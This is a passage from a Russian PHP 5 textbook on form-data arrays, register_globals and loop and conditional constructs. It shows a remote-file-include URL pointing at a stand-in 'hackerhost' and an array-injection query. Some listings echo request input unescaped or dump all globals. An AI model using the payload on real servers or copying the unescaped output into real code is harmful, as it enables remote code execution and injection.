Добавил:
Upload Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:

Котеров Д. В., Костарев А. Ф. - PHP 5. 2-е издание (В подлиннике) - 2008

.pdf
Скачиваний:
6114
Добавлен:
29.02.2016
Размер:
11.36 Mб
Скачать

204

Часть III. Основы языка PHP

После отработки этих строк будет создан массив $A, заполненный последовательно числами 10, 20 и 30, с индексами, отсчитываемыми с нуля. То есть, если внутри квадратных скобок при присваивании элементу массива не указано ничего, то подразумевается элемент массива, следующий за последним. В общем-то это должно быть интуитивно понятным — именно на легкость в использовании и ориентировались разработчики PHP.

Прием с автомассивом в поле <select multiple>, действительно, выглядит довольно элегантно. Однако не стоит думать, что он применим только к этому элементу формы: автомассивы мы можем применять и в любых других полях. Вот пример, создающий два переключателя (кнопки со значениями вкл/выкл), один элемент ввода строки и одно текстовое (многострочное) поле, причем все данные после запуска сценария, обрабатывающего эту форму, будут представлены в виде одногоединственного автомассива:

<input type=checkbox name=Arr[] value=ch1> <input type=checkbox name=Arr[] value=ch2> <input type=text name=Arr[] value="Some string"> <textarea name=Arr[]>Some text</textarea>

То есть, мы видим, что PHP совершенно нет никакого дела до того, в каких элементах формы мы используем автомассивы — он в любом случае обрабатывает все одинаково. И это, пожалуй, правильно.

Обработка массивов

В сущности, мы уже рассмотрели почти все возможности PHP по автоматической трансляции данных формы. Напоследок взглянем на еще одно полезное свойство PHP. Пусть у нас есть такая форма:

Имя: <input type=text name=Data[name]><br> Адрес: <input type=text name=Data[address]><br> Город:<br>

<input type=radio name=Data[city] value=Moscow>Москва<br>

<input type=radio name=Data[city] value=Peter>Санкт-Петербург<br> <input type=radio name=Data[city] value=Kiev>Киев<br>

Можно догадаться, что после передачи подобных данных сценарию на PHP в нем будет инициализирован ассоциативный массив $Data с ключами name, address и city (ассоциативные массивы мы затрагивали пока только вскользь, но очень скоро этот пробел будет достойно восполнен). То есть, имена полям формы можно давать не только простые, но и представленные в виде одномерных ассоциативных массивов.

Забегая вперед, скажем, что в сценарии к отдельным элементам формы можно будет обратиться при помощи указания ключа массива: например, $_REQUEST['Data']['city'] обозначает значение той радиокнопки, которая была выбрана пользователем, а $_REQUEST['Data']['name'] — введенное имя. Заметьте, что в сценарии мы обязательно должны заключать ключи в кавычки или апострофы — в противном случае интерпретатором будет выведено предупреждение. В то же время, в параметрах name полей формы мы, наоборот, должны их избегать — уж так устроен PHP.

Глава 11. Работа с данными формы

205

Диагностика

Еще раз напомним, какие массивы создает PHP, когда обрабатывает данные, пришедшие из формы:

$_GET — содержит GET-параметры, пришедшие скрипту через переменную окружения QUERY_STRING. Например, $_GET['login'];

$_POST — данные формы, пришедшие методом POST;

$_COOKIE — все cookies, которые прислал браузер;

$_REQUEST — объединение трех перечисленных выше массивов. Именно эту переменную рекомендуется использовать в скриптах, потому что таким образом мы не "привязываемся" жестко к типу принимаемых данных (GET или POST);

$_SERVER — содержит переменные окружения, переданные сервером (отсюда и название).

Может показаться, что это чересчур много. Чтобы не запутаться в переменных, рассмотрим полезный прием, помогающий при отладке сценариев. А именно, мы можем вывести все переменные в браузер одним махом (листинг 11.7).

Листинг 11.7. Файл dump.php

<!-- Выводит все глобальные переменные -->

<pre>

<?print_r($GLOBALS)?>

</pre>

Задача данного сценария — распечатать в браузер все глобальные переменные программы (включая описанные выше массивы) в читабельном представлении. Глобальные переменные доступны через используемый массив $GLOBALS. Встроенная функция print_r() делает все остальное.

Страница, генерируемая данным сценарием, весьма интересна. Рекомендуем поэкспериментировать с ней, передавая программе различные GET-данные (включая многомерные массивы) и подставляя ее в атрибут action различных HTML-форм.

Режим register_globals

Возможно, вы уже успели подумать, как же неприятно каждый раз писать $_REQUEST['...'], тем самым делая листинг программы длинным и некрасивым. В ранних версиях PHP (вплоть до PHP 4.1) существовал один способ, позволяющий работать с полями формы значительно проще. А именно, по умолчанию PHP не помещал данные в $_REQUEST, а создавал обыкновенные глобальные переменные для каждого из полей формы. Например, мы могли написать такой сценарий:

<?php

echo "Hello, $name!";

?>

206

Часть III. Основы языка PHP

Запустив его с нужным параметром: http://example.com/script.php?name=gates, мы бы увидели корректную страницу приветствия: PHP создал глобальную переменную $name, значение которой и было бы напечатано.

Вообще говоря, данный режим работы называется register_globals и поддерживается в PHP по сей день. Однако в подавляющем большинстве случаев он по умолчанию оказывается выключенным в файле php.ini. Разработчики PHP поступили так по соображениям безопасности: слишком часто скрипты, написанные в расчете на включенный register_globals, обнаруживали проблемы с защитой.

Первый пример уязвимости

Для иллюстрации, как можно легко получить уязвимый сценарий, рассмотрим простой пример:

<?php

//*** здесь устанавливается переменная $root

//*** ...

// запускаем другой скрипт, который ищем в каталоге $root include $root."/library.php";

?>

Если в коде, помеченном выше звездочками, переменная $root по ошибке окажется не установленной (это может случиться по разным причинам), злоумышленник сможет запустить на сервере любой код, открыв следующий адрес в браузере:

http://example.com/script.php?root=http://hackerhost

Здесь example.com — это машина, на которой располагается скрипт, а hackerhost — компьютер злоумышленника, на котором также установлен Web-сервер. Рассмотрим подробнее, что же происходит. В скрипте значение переменной $root подставляется в строку и выполняется команда:

include "http://hackerhost/library.php";

В большинстве случаев это заставляет PHP загрузить файл library.php с удаленной машины и передать ему управление. Иными словами, записав в файл library.php на своей машине любой код, хакер может запустить его на сервере example.com.

Второй пример уязвимости

Предыдущий пример может показаться вам весьма надуманным. Таким, по сути, он и является: данная проблема может обнаружиться лишь в сценариях, насчитывающих несколько разных файлов, включающих друг друга. Там бывает весьма непросто уследить за глобальными переменными. Например, в известном форуме phpBB уязвимость описанного типа обнаруживалась и исправлялась несколько раз.

Более простой пример связан с массивами. Многие люди просто пишут в своих программах:

$artefacts['rabbit'] = "white";

$artefacts['cat'] = "black";

register_globals

Глава 11. Работа с данными формы

207

Они не задумываются над тем, что перед этим надо бы очистить массив $artefacts, считая, что он и так пуст в начале программы. Корректный же код должен выглядеть так:

$artefacts = array();

$artefacts['rabbit'] = "white";

$artefacts['cat'] = "black";

К чему ведет пропуск $artefacts = array() в начале скрипта? Да к тому, что, передав специально подобранную командную строку, хакер может добавить в массив $artefacts произвольные данные. Например, он запустит сценарий так:

http://example.com/script.php?artefacts[reboot]=yes

При этом в программе с пропущенным обнулением массива $artefacts в него будут помещены не два, а три элемента (включая reboot=>yes). Скрипт может никак на это не рассчитывать, что, в свою очередь, порождает потенциальные проблемы с безопасностью.

Если же глобальные переменные не создаются, то описанные уязвимости исчезают. Во всяком случае, так решили разработчики PHP.

Впрочем, мы в этой книге агитируем вас писать скрипты с расчетом на выключенный register_globals вовсе не потому, что это безопаснее. Гораздо важнее другой фактор: совместимость. Сценарий, корректно работающий при выключенном register_globals, будет работать и при включенном режиме. Но не наоборот.

Порядок трансляции переменных

Теперь рассмотрим, в каком порядке записываются данные в массив $_REQUEST, а также в глобальные переменные, если включен режим register_globals. Этот порядок, вообще говоря, важен.

Например, пусть у нас есть параметр A=10, поступивший из QUERY_STRING, параметр A=20 из POST-запроса (как мы помним, даже при POST-запросе может быть передана QUERY_STRING), и cookie A=30. По умолчанию трансляция выполняется в порядке GET-POST-COOKIE (GPC), причем каждая следующая переменная перекрывает предыдущее свое значение (если оно существовало). Итак, в переменную $A сценария и в $_REQUEST['A'] будет записано 30, поскольку cookie перекрывает POST и GET.

В режиме register_globals в глобальные переменные попадают также значения переменных окружения. Записываются они в соответствии со схемой ENVIRON- MENT-GET-POST-COOKIE (EGPC). Иными словами, переменные окружения в режиме register_globals перекрываются даже GET-данными, и злоумышленник может "подделать" любую из них, передав соответствующую переменную QUERY_STRING при запуске сценария. Так что, если не хотите проблем, даже в режиме

обращайтесь к переменным окружения только через $_SERVER['переменная'] или getenv('переменная').

208

Часть III. Основы языка PHP

Особенности флажков checkbox

В конце главы рассмотрим один вопрос, который находит частое практическое применение в Web-программировании. Независимый переключатель (checkbox или более коротко — флажок) имеет одну довольно неприятную особенность, которая иногда может помешать Web-программисту. Вы, наверное, помните, что когда перед отправкой формы пользователь установил его в выбранное состояние, то сценарию в числе других параметров приходит пара имя_флажка=значение. В то же время, если флажок не был установлен пользователем, указанная пара не посылается (см. гл. 3). Часто это бывает не совсем то, что нужно. Мы бы хотели, чтобы в невыбранном состоянии флажок также присылал данные, но только значение было равно какойнибудь специальной величине — например, нулю или пустой строке.

К нашей радости, добиться этого эффекта в PHP довольно несложно. Достаточно воспользоваться одноименным скрытым полем (hidden) со значением, равным, например, нулю, поместив его перед нужным флажком (листинг 11.8).

Листинг 11.8. Файл checkbox.php

<?php ## Гарантированный прием значений от флажков. if (@$_REQUEST['doGo']) {

foreach (@$_REQUEST['known'] as $k=>$v) { if($v) echo "Вы знаете язык $k!<br>"; else echo "Вы не знаете языка $k. <br>";

}

}

?>

<form action="<?=$_SERVER['SCRIPT_NAME']?>" method=post> Какие языки программирования вы знаете?<br>

<input type=hidden name="known[PHP]" value="0">

<input type=checkbox name="known[PHP]" value="1">PHP<br> <input type=hidden name="known[Perl]" value="0">

<input type=checkbox name="known[Perl]" value="1">Perl<br> <input type=submit name="doGo" value="Go!">

</form>

Мы пока не рассматривали подробно инструкции if и foreach. Это будет сделано позже, в гл. 12. Сейчас только скажем, что инструкция foreach предназначена для перебора всех элементов массива, указанного в ее первом аргументе.

Теперь в случае, если пользователь не выберет никакой из флажков, браузер отправит сценарию пару known[язык]=0, сгенерированную соответствующим скрытым полем, и в массиве $_REQUEST['known'] создастся соответствующий элемент. Если пользователь выберет флажок, эта пара также будет послана, но сразу же после нее последует пара known[язык]=1, которая "перекроет" предыдущее значение.

Не включи мы скрытые поля в форму из листинга 11.8, сценарий печатал бы только сообщения о тех языках, которые "знает пользователь", пропуская языки, ему "неизвестные". В нашем же случае сценарий реагирует и на сброшенные флажки.

Глава 11. Работа с данными формы

209

Такой способ немного увеличивает объем данных, передаваемых методом POST, за счет тех самых пар, которые генерируются скрытыми полями. Впрочем, в реальной жизни это "увеличение" практически незаметно (особенно для POST-форм).

Резюме

Вданной главе мы на примерах рассмотрели, как PHP обрабатывает данные, пришедшие из формы, из командной строки или из cookies. Мы также узнали различные способы записи полей формы для того, чтобы формировать в программе переменные и массивы требуемой структуры (например, массивы для элемента "список с множественным выбором"). Описан режим register_globals, популярный в ранних версиях PHP, а ныне отключенный из соображений безопасности, а также его достоинства и недостатки.

Вданной главе интенсивно используется понятие "ассоциативный массив", которое подробно рассматривается в гл. 13. К сожалению, иногда приходится забегать вперед. Если материал данной главы показался вам слишком сложным, вернитесь к ней после изучения ассоциативных массивов.

ГЛАВА 12

Конструкции языка

Листинги данной главы можно найти в подкаталоге instruct.

Ну вот мы и подобрались к языковым конструкциям. Некоторые из них нами уже применялись, и не раз — например, инструкция if. В данной главе приводится полное описание всех языковых конструкций PHP. Их не так много, и это достоинство PHP. Как показывает практика, чем более лаконичен синтаксис языка, тем проще

его использовать в повседневной практике. PHP — отличный пример этому.

О терминологии

Иногда мы применяем слово "конструкция", а иногда — "инструкция". В данной книге оба термина совершенно эквивалентны. Наоборот, термины "оператор" и "операция" несут разную смысловую нагрузку: любая операция есть оператор, но не наоборот. Например, echo — оператор, но не операция, а ++ — операция. Вообще, в технической литературе часто имеется путаница между терминами "оператор", "операция" и "инструкция". Рекомендуем вам привыкнуть к такому положению вещей и "читать между строк".

Инструкция if-else

Начнем с самой простой инструкции — условного оператора. Его формат таков:

if (логическое_выражение)

инструкция_1;

else

инструкция_2;

Действие инструкции следующее: если логическое_выражение истинно, то выполняет-

ся инструкция_1, а иначе — инструкция_2. Как и в любом другом языке, конструкция else может опускаться, в этом случае при получении ложного значения просто ничего не делается.

Пример:

if ($salary>=100 && $salary<=5000) echo "Вам еще расти и расти"; else echo "Ну и правильно — не в деньгах счастье.";

Если инструкция_1 или инструкция_2 должны состоять из нескольких команд, то они, как всегда, заключаются в фигурные скобки. Например:

Глава 12. Конструкции языка

211

if ($a > $b) { print "a больше b"; $c = $b; } elseif ($a == $b) { print "a равно b"; $c = $a; } else { print "a меньше b"; $c = $a; }

echo "<br>Минимальное из чисел: $c";

Это не опечатка: elseif пишется слитно, вместо else if. Так тоже можно писать.

Конструкция if-else имеет еще один альтернативный синтаксис:

if (логическое_выражение):

команды;

elseif (другое_логическое_выражение):

другие_команды; else:

иначе_команды; endif

Обратите внимание на расположение двоеточия (:)! Если его пропустить, будет сгенерировано сообщение об ошибке. И еще: как обычно, блоки elseif и else можно опускать.

Использование альтернативного синтаксиса

В предыдущих главах нами уже неоднократно рассматривался пример вставки HTML-кода в тело сценария. Для этого достаточно было просто закрыть скобку ?>,

написать этот код, а затем снова открыть ее при помощи <?, и продолжать про-

грамму.

Возможно, вы обратили внимание на то, как это некрасиво выглядит. Тем не менее, если приложить немного усилий для оформления, все окажется не так уж и плохо. Особенно если использовать альтернативный синтаксис if-else и других конструкций языка.

Чаще всего, однако, бывает нужно делать не вставки HTML внутрь программы, а вставки кода внутрь HTML. Это гораздо проще для дизайнера, который, возможно, в будущем захочет переоформить ваш сценарий, но не сможет разобраться, что ему изменять, а что не трогать. Поэтому целесообразно отделять HTML-код от програм-

мы, например, поместить его в отдельный файл, который затем подключается к программе при помощи инструкции include. Сейчас мы не будем подробно останавливаться на этом вопросе, но потом обязательно к нему вернемся.

Вот, например, как будет выглядеть наш старый знакомый сценарий, который приветствует пользователя по имени, с применением альтернативного синтаксиса ifelse (листинг 12.1).

Листинг 12.1. Файл ifelse.php

<!-- Альтернативный синтаксис if-else. --> <?if (isset($_REQUEST['go'])):?>

Привет, <?=$_REQUEST['name']?>! <?else:?>

<form action="<?=$_SERVER['REQUEST_URI']?>" method=post>

212

Часть III. Основы языка PHP

Ваше имя: <input type=text name=name><br>

<input type=submit name=go value="Отослать!">

<?endif?>

Согласитесь, что даже человек, совершенно не знакомый с PHP, но зато хорошо разбирающийся в HTML, легко сможет додуматься, что к чему в этом сценарии.

Цикл с предусловием while

Эта конструкция также унаследована непосредственно от C. Ее предназначение — цикличное выполнение команд в теле цикла, включающее предварительную проверку, нужно ли это делать (истинно ли логическое выражение в заголовке). Если не нужно (выражение ложно), то конструкция заканчивает свою работу, иначе выполняет очередную итерацию и начинает все сначала. Выглядит цикл так:

while (логическое_выражение)

инструкция;

где, как обычно, логическое_выражение — логическое выражение, а инструкция — про-

стая или составная инструкция тела цикла. (Очевидно, что внутри последнего долж-

ны производиться какие-то действия, которые будут иногда изменять значение нашего выражения, иначе оператор зациклится. Это может быть, например, простое увеличение некоторого счетчика, участвующего в выражении, на единицу.) Если выражение с самого начала ложно, то цикл не выполнится ни разу.

Приведем пример в листинге 12.2.

Листинг 12.2. Файл while.php

<?php ## Вывод всех степеней двойки до 2^31 включительно. $i = 1; $p = 1;

while ($i < 32) { echo $p," ";

$p = $p * 2; // можно было бы написать $p *= 2

$i = $i + 1; // можно было бы написать $i += 1 или даже $i++

}

?>

Аналогично инструкции if, цикл while имеет альтернативный синтаксис, что упрощает его применение совместно с HTML-кодом:

while (логическое_выражение):

команды;

endwhile;

Цикл с постусловием do-while

В отличие от цикла while, этот цикл проверяет значение выражения не до, а после

каждого прохода. Таким образом, тело цикла выполняется хотя бы один раз. Выгля-

дит оператор так:

Глава 12. Конструкции языка

213

do {

команды;

} while (логическое_выражение);

После очередной итерации проверяется, истинно ли логическое_выражение, и, если это так, управление передается вновь на начало цикла, в противном случае цикл обрывается.

Альтернативного синтаксиса для do-while разработчики PHP не предусмотрели (видимо, из-за того, что, в отличие от прикладного программирования, этот цикл довольно редко используется при программировании сценариев).

Универсальный цикл for

Мы не зря назвали его универсальным — ведь с его помощью можно (и нужно) создавать конструкции, которые будут выполнять действия совсем не такие тривиальные, как простая переборка значения счетчика (а именно для этого используется for в Pascal и чаще всего в C). Формат конструкции такой:

for (инициализирующие_команды; условие_цикла; команды_после_прохода)

тело_цикла;

Работает он следующим образом. Как только управление доходит до цикла, первым делом выполняются операторы, включенные в инициализирующие_команды (слева направо). Эти команды перечисляются через запятую, например:

for ($i=0, $j=10, $k="Test!"; ...)

Затем начинается итерация. Сначала проверяется, выполняется ли условие_цикла (как в конструкции while). Если да, то все в порядке, и цикл продолжается. Иначе осуществляется выход из конструкции. Например:

// прибавляем по одной точке

for ($i=0, $j=0, $k="Test"; $i<10; ...) $k .= ".";

Предположим, что тело цикла проработало одну итерацию. После этого вступают в действие команды_после_прохода (их формат тот же, что и у инициализирующих операторов).

Приведем пример в листинге 12.3.

Листинг 12.3. Файл for.php

<?php ## Демонстрация цикла for

for ($i=0, $j=0, $k="Points"; $i<100; $j++, $i+=$j) $k = $k.".";

echo $k;

?>

Хочется добавить, что приведенный пример (да и вообще любой цикл for) можно реализовать и через while, только это будет выглядеть не так изящно и лаконично.

Тут вы можете оставить комментарий к выбранному абзацу или сообщить об ошибке.

Оставленные комментарии видны всем.